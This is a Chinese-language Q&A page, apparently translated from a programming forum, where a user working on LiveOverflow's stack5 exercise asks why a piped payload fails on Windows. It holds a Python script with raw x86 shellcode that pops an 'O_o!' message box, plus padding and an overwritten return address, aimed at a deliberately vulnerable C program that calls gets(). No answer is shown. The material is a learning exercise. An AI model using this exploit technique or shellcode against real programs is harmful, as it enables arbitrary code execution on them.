首页 > 解决方案 > 无法从 python (windows) 将某些字符通过管道传输到另一个程序

问题描述

我正在尝试解决 LiveOverflow 的 stack5 挑战,但由于某种原因,我的有效负载无法正确输入程序。

似乎这个问题是因为 Windows 不允许我将某些十六进制字符打印到 CMD 中引起的。

我正在使用 python 2.7.15 和 command py -2 answer.py | stack5.exe

answer.py

import sys

payload = ("\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28"
           "\x33\xC9\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D"
           "\x03\xF8\xE2\xF0\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B\x12\x75\xDA\x8B"
           "\x53\x3C\x03\xD3\xFF\x72\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03\xF3\x33"
           "\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
           "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72\x65\x75\xE2\x49\x8B\x72\x24\x03"
           "\xF3\x66\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x52\x33\xFF"
           "\x57\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53"
           "\xFF\xD2\x68\x33\x32\x01\x01\x66\x89\x7C\x24\x02\x68\x75\x73\x65\x72\x54"
           "\xFF\xD0\x68\x6F\x78\x41\x01\x8B\xDF\x88\x5C\x24\x03\x68\x61\x67\x65\x42"
           "\x68\x4D\x65\x73\x73\x54\x50\xFF\x54\x24\x2C\x57\x68\x4F\x5F\x6F\x21\x8B"
           "\xDC\x57\x53\x53\x57\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\x88\x5C\x24\x03"
           "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\xFF\x74\x24\x40\xFF\x54\x24"
           "\x40\x57\xFF\xD0")

sys.stdout.write(('\x90' + payload + ('\xcc' * ((256 + 12) - len(payload) - 1)) +
                  '\x00\x60\xFD\xB0'[::-1]))

有效载荷源

stack5.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[256];

  gets(buffer);
}

而不是在管道后弹出一个消息框'O_o!',程序退出(可能是因为某个错误)。有没有办法通过管道插入这个有效载荷?

标签: pythonwindowspipepython-2.x

解决方案


推荐阅读